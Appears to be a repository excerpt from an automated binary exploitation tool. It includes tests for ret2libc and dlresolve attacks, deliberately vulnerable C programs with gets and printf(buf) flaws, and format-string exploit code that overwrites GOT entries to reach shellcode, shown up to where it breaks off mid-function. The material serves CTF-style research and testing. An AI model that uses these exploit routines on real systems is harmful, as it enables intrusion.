properties["send_results"]["flag_found"] == True 303 | break 304 | 305 | 306 | def test_remote_libc_leak_64(): 307 | """ 308 | We'll host the binary and then do a ret2libc using 309 | only remote leaks 310 | """ 311 | test_file = "tests/bin/bof_nx_64" 312 | input_type = "STDIN" 313 | properties = {"pwn_type": {}} 314 | properties["input_type"] = input_type 315 | properties["file"] = test_file 316 | 317 | properties["remote"] = {} 318 | properties["remote"]["url"] = "localhost" 319 | properties["remote"]["port"] = random.randint(2048, 3096) 320 | 321 | if which("socat") is None: 322 | pytest.skip("Socat not installed. Skipping remote test") 323 | 324 | socat_path = which("socat") 325 | socat_cmd = "{} TCP4-LISTEN:{},tcpwrap=script,reuseaddr,fork EXEC:{}" 326 | socat_cmd = socat_cmd.format( 327 | socat_path, properties["remote"]["port"], os.path.abspath(test_file) 328 | ) 329 | socat_cmd = shlex.split(socat_cmd) 330 | 331 | # Run binary with socat 332 | p = multiprocessing.Process(target=subprocess.check_call, args=(socat_cmd,)) 333 | p.start() 334 | 335 | with suppress(): 336 | # Protections trigger exploit find type 337 | properties["protections"] = protectionDetector.getProperties(test_file) 338 | 339 | properties["libc"] = overflowRemoteLeaker.leak_remote_functions( 340 | test_file, properties, inputType=properties["input_type"] 341 | ) 342 | 343 | assert properties["libc"] is not None 344 | 345 | properties["pwn_type"]["results"] = {} 346 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 347 | test_file, properties, inputType=properties["input_type"] 348 | ) 349 | assert properties["pwn_type"]["results"]["type"] is not None 350 | 351 | properties["remote_results"] = overflowExploitSender.sendExploit( 352 | test_file, 353 | properties, 354 | remote_server=True, 355 | remote_url=properties["remote"]["url"], 356 | port_num=properties["remote"]["port"], 357 | ) 358 | 359 | assert properties["remote_results"] is not None 360 | 361 | p.kill() 362 | 363 | 364 | """ 365 | zerapwn.py /home/chris/projects/Zeratool/tests/bin/bof_dlresolve_64 \ 366 | --force_dlresolve --skip_check --overflow_only --no_win 367 | """ 368 | 369 | 370 | def test_pwn_dlresolve_64(): 371 | test_file = "tests/bin/bof_dlresolve_64" 372 | input_type = "STDIN" 373 | properties = {"pwn_type": {}} 374 | properties["input_type"] = input_type 375 | properties["file"] = test_file 376 | 377 | properties["force_dlresolve"] = True 378 | properties["win_functions"] = [] 379 | properties["pwn_type"]["type"] = "Overflow" 380 | with suppress(): 381 | # Protections trigger exploit find type 382 | properties["protections"] = protectionDetector.getProperties(test_file) 383 | 384 | with suppress(): 385 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow( 386 | test_file, properties, inputType=input_type 387 | ) 388 | assert properties["pwn_type"]["results"]["type"] == "dlresolve" 389 | 390 | properties["send_results"] = overflowExploitSender.sendExploit( 391 | test_file, properties 392 | ) 393 | 394 | assert properties["send_results"]["flag_found"] == True 395 | -------------------------------------------------------------------------------- /tests/buffer_overflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #ifdef win_func 4 | void print_flag() 5 | { 6 | puts("flag{you_did_it}"); 7 | system("cat flag.txt"); 8 | } 9 | #endif 10 | 11 | #ifdef srop_func 12 | __attribute__((naked)) void syscall_gad() 13 | { 14 | __asm__("syscall"); 15 | __asm__("ret"); 16 | } 17 | __attribute__((naked)) void pop_rax() 18 | { 19 | __asm__("pop %rax"); 20 | __asm__("ret"); 21 | } 22 | __attribute__((naked)) void pop_rdi() 23 | { 24 | __asm__("pop %rdi"); 25 | __asm__("ret"); 26 | } 27 | #endif 28 | 29 | #ifdef dlresolve_read_func 30 | 31 | void give_gadgets() 32 | { 33 | __asm__("pop %rdx"); 34 | __asm__("ret"); 35 | } 36 | 37 | int pwn_me() 38 | { 39 | char my_buf[20] = {'\x00'}; 40 | printf("Your buffer is at %p\n", my_buf); 41 | read(0, my_buf, 230); 42 | return 0; 43 | } 44 | 45 | #else 46 | 47 | int pwn_me() 48 | { 49 | char my_buf[20] = {'\x00'}; 50 | printf("Your buffer is at %p\n", my_buf); 51 | gets(my_buf); 52 | return 0; 53 | } 54 | 55 | #endif 56 | 57 | 58 | 59 | void does_nothing() 60 | { 61 | puts("/bin/sh"); 62 | execve(NULL,NULL,NULL); 63 | } 64 | 65 | __attribute__ ((constructor)) void ignore_me() 66 | { 67 | setbuf(stdout, NULL); 68 | setbuf(stdin, NULL); 69 | } 70 | 71 | void main() 72 | { 73 | 74 | puts("pwn_me:"); 75 | pwn_me(); 76 | } -------------------------------------------------------------------------------- /tests/format_string.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | * compiled with: 7 | * gcc -O0 -fno-stack-protector -o hard -z execstack -z norelro hard.c 8 | * run with: 9 | * socat TCP4-LISTEN:7803,tcpwrap=script,reuseaddr,fork EXEC:./hard 10 | */ 11 | 12 | #define FLAG_NAME "flag.txt" 13 | 14 | #ifdef MEDIUM 15 | /* 16 | * Test for point to win 17 | */ 18 | void secret_function(void) { 19 | char key[50] = {0}; 20 | FILE *pFile = NULL; 21 | pFile = fopen(FLAG_NAME, "r"); 22 | fread(key, sizeof(key), 1, pFile); 23 | printf("The flag is %s\n", key); 24 | system("cat flag.txt"); 25 | } 26 | #endif 27 | 28 | int main(int argc, char *argv[]) 29 | { 30 | int i = 0; 31 | 32 | #ifdef EASY 33 | char buf[1024]; 34 | fgets(buf, 1024, stdin); 35 | /* 36 | * Test for stack reading 37 | */ 38 | char key[64]={}; 39 | FILE *pKey = fopen(FLAG_NAME, "r"); 40 | if (pKey == NULL) 41 | { 42 | printf("No .pass\nContact admin\n"); 43 | return -1; 44 | } 45 | fread(&key, sizeof(key), 1, pKey); 46 | fclose(pKey); 47 | #endif 48 | 49 | #ifdef MEDIUM 50 | char buf[256]; 51 | read(0, buf, 256); 52 | #endif 53 | 54 | #ifdef HARD 55 | char buf[1024]; 56 | /* read user input securely */ 57 | fgets(buf, 1024, stdin); 58 | /* 59 | * Test for point to shellcode AND 60 | * satisfy constraints 61 | */ 62 | /* convert string to lowercase */ 63 | for (i = 0; i < strlen(buf); i++) 64 | if (buf[i] >= 'A' && buf[i] <= 'Z') 65 | buf[i] = buf[i] ^ 0x20; 66 | #endif 67 | 68 | /* print out our nice and new lowercase string */ 69 | printf(buf); 70 | 71 | exit(EXIT_SUCCESS); 72 | return EXIT_FAILURE; 73 | } 74 | -------------------------------------------------------------------------------- /tests/format_test.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pytest 3 | 4 | os.environ["PWNLIB_NOTERM"] = "1" 5 | from zeratool import winFunctionDetector 6 | from zeratool import protectionDetector 7 | from zeratool import formatDetector 8 | from zeratool import formatLeak 9 | from zeratool import formatExploiter 10 | 11 | 12 | from contextlib import redirect_stdout, redirect_stderr, contextmanager, ExitStack 13 | 14 | 15 | @contextmanager 16 | def suppress(out=True, err=False): 17 | with ExitStack() as stack: 18 | with open(os.devnull, "w") as null: 19 | if out: 20 | stack.enter_context(redirect_stdout(null)) 21 | if err: 22 | stack.enter_context(redirect_stderr(null)) 23 | yield 24 | 25 | 26 | def test_detect_32(): 27 | with suppress(): 28 | test_file = "tests/bin/read_stack_32" 29 | input_type = "STDIN" 30 | pwn_type = formatDetector.checkFormat(test_file, inputType=input_type) 31 | assert pwn_type["type"] == "Format" 32 | 33 | 34 | def test_detect_64(): 35 | with suppress(): 36 | test_file = "tests/bin/read_stack_64" 37 | input_type = "STDIN" 38 | pwn_type = formatDetector.checkFormat(test_file, inputType=input_type) 39 | assert pwn_type["type"] == "Format" 40 | 41 | 42 | def test_leak_32(): 43 | with suppress(): 44 | test_file = "tests/bin/read_stack_32" 45 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"} 46 | 47 | properties["protections"] = protectionDetector.getProperties(test_file) 48 | assert properties["protections"]["arch"] 49 | 50 | with suppress(): 51 | properties["pwn_type"] = formatDetector.checkFormat( 52 | test_file, inputType=properties["input_type"] 53 | ) 54 | 55 | assert properties["pwn_type"]["type"] == "Format" 56 | with suppress(): 57 | properties["pwn"] = formatLeak.checkLeak(test_file, properties) 58 | assert properties["pwn"]["flag_found"] == True 59 | 60 | 61 | def test_leak_64(): 62 | test_file = "tests/bin/read_stack_64" 63 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"} 64 | 65 | with suppress(): 66 | properties["protections"] = protectionDetector.getProperties(test_file) 67 | assert properties["protections"]["arch"] 68 | 69 | with suppress(): 70 | properties["pwn_type"] = formatDetector.checkFormat( 71 | test_file, inputType=properties["input_type"] 72 | ) 73 | 74 | assert properties["pwn_type"]["type"] == "Format" 75 | with suppress(): 76 | properties["pwn"] = formatLeak.checkLeak(test_file, properties) 77 | assert properties["pwn"]["flag_found"] == True 78 | 79 | 80 | def test_win_32(): 81 | test_file = "tests/bin/format_pc_write_32" 82 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"} 83 | 84 | with suppress(): 85 | properties["protections"] = protectionDetector.getProperties(test_file) 86 | assert properties["protections"]["arch"] 87 | 88 | with suppress(): 89 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file) 90 | print(properties["win_functions"]) 91 | assert "sym.secret_function" in properties["win_functions"] 92 | 93 | with suppress(): 94 | properties["pwn_type"] = formatDetector.checkFormat( 95 | test_file, inputType=properties["input_type"] 96 | ) 97 | assert properties["pwn_type"]["type"] == "Format" 98 | 99 | with suppress(): 100 | properties["pwn_type"]["results"] = formatExploiter.exploitFormat( 101 | test_file, properties 102 | ) 103 | 104 | assert "flag_found" in properties["pwn_type"]["results"].keys() 105 | 106 | 107 | def test_win_64(): 108 | import logging 109 | 110 | logging.basicConfig() 111 | logging.root.setLevel(logging.INFO) 112 | test_file = "tests/bin/format_pc_write_64" 113 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"} 114 | 115 | with suppress(): 116 | properties["pwn_type"] = formatDetector.checkFormat( 117 | test_file, inputType=properties["input_type"] 118 | ) 119 | assert properties["pwn_type"]["type"] == "Format" 120 | 121 | with suppress(): 122 | properties["protections"] = protectionDetector.getProperties(test_file) 123 | assert properties["protections"]["arch"] 124 | 125 | with suppress(): 126 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file) 127 | assert "sym.secret_function" in properties["win_functions"] 128 | 129 | with suppress(): 130 | properties["pwn_type"]["results"] = formatExploiter.exploitFormat( 131 | test_file, properties 132 | ) 133 | 134 | assert "flag_found" in properties["pwn_type"]["results"].keys() 135 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | [tox] 2 | envlist = py3 3 | #skipsdist = true 4 | 5 | [testenv] 6 | deps = pytest 7 | commands = python -m pytest -s -v 8 | -------------------------------------------------------------------------------- /zeratool/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/zeratool/__init__.py -------------------------------------------------------------------------------- /zeratool/formatDetector.py: -------------------------------------------------------------------------------- 1 | import angr 2 | from angr import sim_options as so 3 | import claripy 4 | import time 5 | import timeout_decorator 6 | import tqdm 7 | from zeratool import printf_model 8 | import logging 9 | 10 | log = logging.getLogger(__name__) 11 | 12 | 13 | def checkFormat(binary_name, inputType="STDIN"): 14 | 15 | p = angr.Project(binary_name, load_options={"auto_load_libs": False}) 16 | 17 | # Stdio based ones 18 | p.hook_symbol("printf", printf_model.printFormat(0)) 19 | p.hook_symbol("fprintf", printf_model.printFormat(1)) 20 | p.hook_symbol("dprintf", printf_model.printFormat(1)) 21 | p.hook_symbol("sprintf", printf_model.printFormat(1)) 22 | p.hook_symbol("snprintf", printf_model.printFormat(2)) 23 | 24 | # Stdarg base ones 25 | p.hook_symbol("vprintf", printf_model.printFormat(0)) 26 | p.hook_symbol("vfprintf", printf_model.printFormat(1)) 27 | p.hook_symbol("vdprintf", printf_model.printFormat(1)) 28 | p.hook_symbol("vsprintf", printf_model.printFormat(1)) 29 | p.hook_symbol("vsnprintf", printf_model.printFormat(2)) 30 | 31 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS} 32 | # Setup state based on input type 33 | argv = [binary_name] 34 | input_arg = claripy.BVS("input", 300 * 8) 35 | if inputType == "STDIN": 36 | state = p.factory.full_init_state( 37 | args=argv, 38 | stdin=input_arg, 39 | add_options=extras, 40 | ) 41 | state.globals["user_input"] = input_arg 42 | elif inputType == "LIBPWNABLE": 43 | handle_connection = p.loader.main_object.get_symbol("handle_connection") 44 | state = p.factory.entry_state( 45 | addr=handle_connection.rebased_addr, 46 | add_options=extras, 47 | ) 48 | state.globals["user_input"] = input_arg 49 | else: 50 | argv.append(input_arg) 51 | state = p.factory.full_init_state( 52 | args=argv, 53 | add_options=extras, 54 | ) 55 | state.globals["user_input"] = input_arg 56 | 57 | state.libc.buf_symbolic_bytes = 0x100 58 | state.globals["inputType"] = inputType 59 | simgr = p.factory.simgr(state, save_unconstrained=True) 60 | 61 | run_environ = {} 62 | run_environ["type"] = None 63 | end_state = None 64 | # Lame way to do a timeout 65 | try: 66 | 67 | @timeout_decorator.timeout(1200) 68 | def exploreBinary(simgr): 69 | simgr.explore(find=lambda s: "type" in s.globals) 70 | 71 | exploreBinary(simgr) 72 | if "found" in simgr.stashes and len(simgr.found): 73 | end_state = simgr.found[0] 74 | run_environ["type"] = end_state.globals["type"] 75 | run_environ["position"] = end_state.globals["position"] 76 | run_environ["length"] = end_state.globals["length"] 77 | 78 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e: 79 | print("[~] Format check timed out") 80 | 81 | if "input" in end_state.globals.keys(): 82 | run_environ["input"] = end_state.globals["input"] 83 | print("[+] Triggerable with input : {}".format(end_state.globals["input"])) 84 | 85 | return run_environ 86 | -------------------------------------------------------------------------------- /zeratool/formatExploiter.py: -------------------------------------------------------------------------------- 1 | import angr 2 | from angr import sim_options as so 3 | import claripy 4 | from pwn import * 5 | from zeratool import printf_model 6 | from .overflowExploiter import getRegValues, findShellcode 7 | from .simgr_helper import getShellcode 8 | import timeout_decorator 9 | import time 10 | import string 11 | import logging 12 | 13 | log = logging.getLogger(__name__) 14 | 15 | 16 | def exploitFormat(binary_name, properties): 17 | 18 | exploit_results = {} 19 | exploit_results["flag_found"] = False 20 | 21 | input_pos = properties["pwn_type"]["position"] 22 | input_len = properties["pwn_type"]["length"] 23 | input_string = properties["pwn_type"]["input"] 24 | 25 | if "64" in properties["protections"]["arch"]: 26 | context.arch = "amd64" 27 | 28 | # Slice constrolled input 29 | start_slice = input_string[:input_pos] 30 | end_slice = input_string[input_pos + input_len :] 31 | 32 | format_specifier = b"lx" 33 | format_prefix = b"aaaa_%" 34 | if "amd64" in properties["protections"]["arch"]: 35 | format_specifier = b"llx" 36 | format_prefix = b"aaaaaaaa_%" 37 | 38 | stack_position = -1 39 | log.info("[~] Locating buffer stack location") 40 | # Determine stack location 41 | for i in range(1, 50): 42 | iter_byte = str(i).encode() 43 | iter_string = format_prefix + iter_byte + b"$" + format_specifier + b"_" 44 | iter_string = assembleInput(iter_string, start_slice, end_slice, input_len) 45 | log.info(iter_string) 46 | results = runIteration( 47 | binary_name, iter_string, input_type=properties["input_type"] 48 | ) 49 | if b"61616161" in results: # 0x41414141 == "AAAA" 50 | stack_position = i 51 | log.info("[+] Found stack location at {}".format(stack_position)) 52 | break 53 | 54 | if stack_position == -1: 55 | log.info("Could not find stack position") 56 | return None 57 | 58 | if len(properties["win_functions"]) > 0: 59 | for func in properties["win_functions"]: 60 | address = properties["win_functions"][func]["fcn_addr"] 61 | for got_name, got_addr in list(properties["protections"]["got"].items()): 62 | log.info("[~] Overwritting {} -> {}".format(got_name, hex(address))) 63 | writes = {got_addr: address} 64 | format_payload = fmtstr_payload( 65 | stack_position, writes, numbwritten=input_pos 66 | ) 67 | if len(format_payload) > input_len or True: 68 | log.info("[~] Format input to large, shrinking") 69 | format_payload = fmtstr_payload( 70 | stack_position, 71 | writes, 72 | numbwritten=input_pos, 73 | write_size="short", 74 | ) 75 | 76 | format_input = assembleInput( 77 | format_payload, start_slice, end_slice, input_len 78 | ) 79 | 80 | log.info(repr(format_input)) 81 | results = sendExploit(binary_name, properties, format_input) 82 | if results["flag_found"]: 83 | exploit_results["flag_found"] = results["flag_found"] 84 | exploit_results["input"] = format_input 85 | return exploit_results 86 | return exploit_results 87 | elif not properties["protections"]["nx"]: 88 | log.info("[+] Binary does not have NX") 89 | log.info("[+] Overwriting GOT entry to point to shellcode") 90 | rediscoverAndExploit(binary_name, properties, stack_position) 91 | else: 92 | log.info("[+] Overwriting GOT entry to point to one gadget RCE") 93 | 94 | 95 | """ 96 | Run until we hit our hooked printf. 97 | Constrain input to crafted string: 98 | String = (Format GOT Write) + (Shellcode) 99 | """ 100 | 101 | 102 | def rediscoverAndExploit(binary_name, properties, stack_position): 103 | 104 | properties["shellcode"] = getShellcode(properties) 105 | properties["stack_position"] = stack_position 106 | inputType = properties["input_type"] 107 | 108 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS} 109 | 110 | # p = angr.Project(binary_name,load_options={"auto_load_libs": False}) 111 | p = angr.Project(binary_name, load_options={"auto_load_libs": False}) 112 | 113 | p.hook_symbol("printf", printFormatSploit()) 114 | 115 | # Setup state based on input type 116 | argv = [binary_name] 117 | input_arg = claripy.BVS("input", 400 * 8) 118 | if inputType == "STDIN": 119 | """ 120 | angr doesn't use the right base and stack pointers 121 | when loading the binary, so our addresses are all wrong. 122 | So we need to grab them manually 123 | """ 124 | entryAddr = p.loader.main_object.entry 125 | reg_values = getRegValues(binary_name, entryAddr) 126 | state = p.factory.full_init_state( 127 | args=argv, 128 | add_options=extras, 129 | stdin=input_arg, 130 | env=os.environ, 131 | ) 132 | 133 | register_names = list(state.arch.register_names.values()) 134 | for register in register_names: 135 | if register in reg_values: # Didn't use the register 136 | state.registers.store(register, reg_values[register]) 137 | 138 | elif inputType == "LIBPWNABLE": 139 | handle_connection = p.loader.main_object.get_symbol("handle_connection") 140 | start_addr = handle_connection.rebased_addr 141 | 142 | reg_values = getRegValues(binary_name, start_addr) 143 | 144 | state = p.factory.entry_state( 145 | args=argv, 146 | env=os.environ, 147 | addr=start_addr, 148 | add_options=extras, 149 | stdin=input_arg, 150 | ) 151 | 152 | register_names = list(state.arch.register_names.values()) 153 | for register in register_names: 154 | if register in reg_values: # Didn't use the register 155 | state.registers.store(register, reg_values[register]) 156 | 157 | else: 158 | arg = claripy.BVS("arg1", 300 * 8) 159 | argv.append(arg) 160 | state = p.factory.full_init_state(args=argv) 161 | state.globals["arg"] = arg 162 | 163 | state.libc.buf_symbolic_bytes = 0x100 164 | state.globals["user_input"] = input_arg 165 | state.globals["inputType"] = inputType 166 | state.globals["properties"] = properties 167 | simgr = p.factory.simgr(state) 168 | 169 | run_environ = {} 170 | run_environ["type"] = None 171 | end_state = None 172 | # Lame way to do a timeout 173 | try: 174 | 175 | @timeout_decorator.timeout(1200) 176 | def exploreBinary(simgr): 177 | simgr.explore(find=lambda s: "type" in s.globals) 178 | 179 | exploreBinary(simgr) 180 | if "found" in simgr.stashes and len(simgr.found): 181 | end_state = simgr.found[0] 182 | run_environ["type"] = end_state.globals["type"] 183 | run_environ["position"] = end_state.globals["position"] 184 | run_environ["length"] = end_state.globals["length"] 185 | 186 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e: 187 | log.info("[~] Format check timed out") 188 | if (inputType == "STDIN" or inputType == "LIBPWNABLE") and end_state is not None: 189 | stdin_str = str(end_state.posix.dumps(0)) 190 | log.info("[+] Triggerable with STDIN : {}".format(stdin_str)) 191 | run_environ["input"] = stdin_str 192 | elif inputType == "ARG" and end_state is not None: 193 | arg_str = str(end_state.solver.eval(arg, cast_to=str)) 194 | run_environ["input"] = arg_str 195 | log.info("[+] Triggerable with arg : {}".format(arg_str)) 196 | 197 | return run_environ 198 | 199 | pass 200 | 201 | 202 | def get_num_constraints(chop_byte, state): 203 | constraints = state.solver.constraints 204 | i = 0 205 | # Do any constraints mention this BV? 206 | for constraint in constraints: 207 | if any( 208 | chop_byte.structurally_match(x) for x in constraint.recursive_children_asts 209 | ): 210 | i += 1 211 | # log.info("{} : {} : {}".format(chop_byte,i,state.solver.eval(chop_byte,cast_to=bytes))) 212 | return i 213 | 214 | 215 | # Better symbolic strlen 216 | def get_max_strlen(state, value): 217 | i = 0 218 | for c in value.chop(8): # Chop by byte 219 | i += 1 220 | if not state.solver.satisfiable([c != 0x00]): 221 | log.debug("Found the null at offset : {}".format(i)) 222 | return i - 1 223 | return i 224 | 225 | 226 | def get_trimmed_input(user_input, state): 227 | trim_index = -1 228 | index = 0 229 | for c in user_input.chop(8): 230 | num_constraints = get_num_constraints(c, state) 231 | if num_constraints == 0 and trim_index == -1: 232 | trim_index = index 233 | else: 234 | trim_index == -1 235 | index += 1 236 | 237 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 238 | 239 | if trim_index > 0: 240 | log.debug("Found input without constraints starting at {}".format(trim_index)) 241 | return input_bytes[:trim_index] 242 | 243 | return input_bytes 244 | 245 | 246 | class printFormatSploit(angr.procedures.libc.printf.printf): 247 | IS_FUNCTION = True 248 | 249 | def checkExploitable(self, fmt): 250 | """ 251 | For each value passed to printf 252 | Check to see if there are any symbolic bytes 253 | Passed in that we control 254 | """ 255 | bits = self.state.arch.bits 256 | load_len = int(bits / 8) 257 | max_read_len = 1024 258 | """ 259 | For each value passed to printf 260 | Check to see if there are any symbolic bytes 261 | Passed in that we control 262 | """ 263 | i = 0 264 | state = self.state 265 | solv = state.solver.eval 266 | properties = self.state.globals["properties"] 267 | 268 | # fmt_len = self._sim_strlen(fmt) 269 | # # We control format specifier and strlen isn't going to be helpful, 270 | # # just set it ourselves 271 | # if len(state.solver.eval_upto(fmt_len,2)) > 1: 272 | # while not state.satisfiable(extra_constraints=[fmt_len == max_read_len]): 273 | # max_read_len -=1 274 | # if max_read_len < 0: 275 | # raise Exception("fmt string with no length!") 276 | # state.add_constraints(fmt_len == max_read_len) 277 | 278 | printf_arg = self.arguments[i] 279 | 280 | var_loc = solv(printf_arg) 281 | 282 | # Parts of this argument could be symbolic, so we need 283 | # to check every byte 284 | var_data = state.memory.load(var_loc, max_read_len) 285 | var_len = get_max_strlen(state, var_data) 286 | 287 | fmt_len = self._sim_strlen(fmt) 288 | # if len(state.solver.eval_upto(fmt_len,2)) > 1: 289 | # state.add_constraints(fmt_len == var_len) 290 | 291 | # Reload with just our max len 292 | var_data = state.memory.load(var_loc, var_len) 293 | 294 | log.info("Building list of symbolic bytes") 295 | symbolic_list = [ 296 | state.memory.load(var_loc + x, 1).symbolic for x in range(var_len) 297 | ] 298 | log.info("Done Building list of symbolic bytes") 299 | 300 | """ 301 | Iterate over the characters in the string 302 | Checking for where our symbolic values are 303 | This helps in weird cases like: 304 | 305 | char myVal[100] = "I\'m cool "; 306 | strcat(myVal,STDIN); 307 | printf("My super cool string is %s",myVal); """ 308 | position = 0 309 | count = 0 310 | greatest_count = 0 311 | prev_item = symbolic_list[0] 312 | for sym_i in range(1, len(symbolic_list)): 313 | if ( 314 | symbolic_list[sym_i] 315 | and symbolic_list[sym_i] == symbolic_list[sym_i - 1] 316 | ): 317 | count = count + 1 318 | if count > greatest_count: 319 | greatest_count = count 320 | position = sym_i - count 321 | else: 322 | if count > greatest_count: 323 | greatest_count = count 324 | position = sym_i - 1 - count 325 | # previous position minus greatest count 326 | count = 0 327 | log.info( 328 | "[+] Found symbolic buffer at position {} of length {}".format( 329 | position, greatest_count 330 | ) 331 | ) 332 | 333 | if greatest_count > 0: 334 | shellcode = properties["shellcode"] 335 | stack_pos = properties["stack_position"] 336 | 337 | for got_name, got_addr in list(properties["protections"]["got"].items()): 338 | # for got_name,got_addr in [(x,y) for (x,y) in properties['protections']['got'].items() if x in " exit"]: #debug for hard_format 339 | backup_state = state.copy() 340 | log.info("[+] Overwiting {} at {}".format(got_name, hex(got_addr))) 341 | 342 | solv = state.solver.eval 343 | 344 | # Mock write to get approx length 345 | buffer_address = var_loc + position 346 | writes = {got_addr: buffer_address} # Begining of buffer 347 | format_write = fmtstr_payload( 348 | stack_pos, writes, numbwritten=position, write_size="short" 349 | ) 350 | write_len = len(format_write) 351 | 352 | # Real write 353 | buffer_address = var_loc + position + write_len 354 | writes = {got_addr: buffer_address} 355 | format_write = fmtstr_payload( 356 | stack_pos, writes, numbwritten=position, write_size="short" 357 | ) 358 | 359 | # Final payload 360 | if isinstance(shellcode, str): 361 | shellcode = shellcode.encode() 362 | format_payload = format_write + shellcode 363 | 364 | var_value_length = len(format_payload) 365 | self.constrainBytes( 366 | state, 367 | var_data, 368 | var_loc, 369 | position, 370 | var_value_length, 371 | strVal=format_payload, 372 | ) 373 | 374 | user_input = state.globals["user_input"] 375 | user_input = get_trimmed_input(user_input, state) 376 | 377 | log.info("[+] Format buffer at {}".format(hex(var_loc))) 378 | log.info("[+] Shellcode located at {}".format(hex(buffer_address))) 379 | log.info("[+] Format write:\n{}".format(repr(format_write))) 380 | log.info("[+] Constructed payload:\n{}".format(repr(format_payload))) 381 | log.info("[+] Constructed stdout:\n{}".format(repr(user_input))) 382 | 383 | vuln_string = solv(var_data, cast_to=bytes) 384 | 385 | binary_name = state.project.filename 386 | results = {} 387 | results["flag_found"] = False 388 | log.info("[~] Testing payload") 389 | 390 | results = sendExploit(binary_name, properties, user_input) 391 | if results["flag_found"] == True: 392 | exploit_results["flag_found"] = results["flag_found"] 393 | exploit_results["input"] = format_input 394 | else: # Maybe angr still messed up the pointer 395 | log.info("[-] Payload launch failed. Fixing angr stack pointer") 396 | 397 | # Find the last basic block executed 398 | 399 | first_input = state.posix.dumps(0) 400 | 401 | end_eip = state.se.eval(state.regs.pc) 402 | 403 | last_bb = [ 404 | x 405 | for x in state.history.bbl_addrs 406 | if state.project.loader.main_object.contains_addr(x) 407 | ][-1] 408 | last_bb_addr = last_bb # int(last_bb.split(' ')[2].rstrip(':'),16) #I'm sorry I'm parsing like this 409 | 410 | if isinstance(shellcode, str): 411 | shellcode = shellcode.encode() 412 | 413 | ret_location = findShellcode( 414 | binary_name, last_bb_addr, shellcode, first_input 415 | ) 416 | 417 | if len(ret_location) == 0: 418 | log.info( 419 | "[-] Unable to find shellcode location for corrected stack" 420 | ) 421 | finish_pointer = False 422 | else: 423 | real_location = ret_location["offset"] 424 | finish_pointer = True 425 | 426 | if finish_pointer: 427 | 428 | state_copy = backup_state.copy() 429 | 430 | solv = state_copy.solver.eval 431 | 432 | printf_arg = self.arguments[i] 433 | 434 | var_loc = solv(printf_arg) # Assume it's a pointer 435 | 436 | if var_loc == 0: 437 | log.info( 438 | "[-] Value at stack offset {} not a pointer".format(i) 439 | ) 440 | continue 441 | 442 | var_value = state_copy.memory.load(var_loc, var_len) 443 | 444 | var_value_length = int("0x" + str(var_value.length), 16) 445 | 446 | writes = {got_addr: real_location} 447 | format_write = fmtstr_payload( 448 | stack_pos, 449 | writes, 450 | numbwritten=position, 451 | write_size="short", 452 | ) 453 | format_payload = format_write + properties["shellcode"] 454 | var_value_length = len(format_payload) 455 | self.constrainBytes( 456 | state_copy, 457 | var_value, 458 | var_loc, 459 | position, 460 | var_value_length, 461 | strVal=format_payload, 462 | ) 463 | 464 | user_input = state_copy.globals["user_input"] 465 | user_input = get_trimmed_input(user_input, state_copy) 466 | 467 | log.info( 468 | "[+] Shellcode located at {}".format(hex(real_location)) 469 | ) 470 | log.info( 471 | "[+] Adjusted payload:\n{}".format(repr(format_payload)) 472 | ) 473 | log.info("[+] Constructed stdout:\n{}".format(repr(user_input))) 474 | 475 | with open("command.input", "wb") as f: 476 | f.write(user_input) 477 | 478 | results_n = sendExploit( 479 | binary_name, 480 | properties, 481 | user_input, 482 | ) 483 | if results_n["flag_found"]: 484 | log.info( 485 | "[+] Vulnerable path found {}".format(repr(user_input)) 486 | ) 487 | self.state.globals["type"] = "Format" 488 | self.state.globals["position"] = position 489 | self.state.globals["length"] = greatest_count 490 | return True 491 | 492 | # exploit_results['flag_found'] = results_n['flag_found'] 493 | # exploit_results['input'] = format_input 494 | 495 | # Verify solution 496 | if ( 497 | state_copy.globals["inputType"] == "STDIN" 498 | or state_copy.globals["inputType"] == "LIBPWNABLE" 499 | ) and results_n["flag_found"]: 500 | stdin_str = str(state_copy.posix.dumps(0)) 501 | if format_payload in stdin_str or results["flag_found"]: 502 | var_value = self.state.memory.load(var_loc, var_len) 503 | self.constrainBytes( 504 | self.state, 505 | var_value, 506 | var_loc, 507 | position, 508 | var_value_length, 509 | strVal=format_payload, 510 | ) 511 | log.info("[+] Vulnerable path found {}".format(vuln_string)) 512 | self.state.globals["type"] = "Format" 513 | self.state.globals["position"] = position 514 | self.state.globals["length"] = greatest_count 515 | 516 | return True 517 | if state_copy.globals["inputType"] == "ARG": 518 | arg = state.globals["arg"] 519 | arg_str = str(state_copy.solver.eval(arg, cast_to=str)) 520 | if format_payload in arg_str: 521 | var_value = self.state.memory.load(var_loc) 522 | self.constrainBytes( 523 | self.state, 524 | var_value, 525 | var_loc, 526 | position, 527 | var_value_length, 528 | strVal=format_payload, 529 | ) 530 | log.info("[+] Vulnerable path found {}".format(vuln_string)) 531 | self.state.globals["type"] = "Format" 532 | self.state.globals["position"] = position 533 | self.state.globals["length"] = greatest_count 534 | return True 535 | state_copy = backup_state.copy() 536 | 537 | return False 538 | 539 | def constrainBytes(self, state, symVar, loc, position, length, strVal="%x_"): 540 | total_region = self.state.memory.load(loc, length) 541 | total_format = strVal * length 542 | # If we can constrain it all in one go, then let's do it! 543 | if state.solver.satisfiable( 544 | extra_constraints=[total_region == total_format[:length]] 545 | ): 546 | log.info("Can constrain it all, let's go!") 547 | 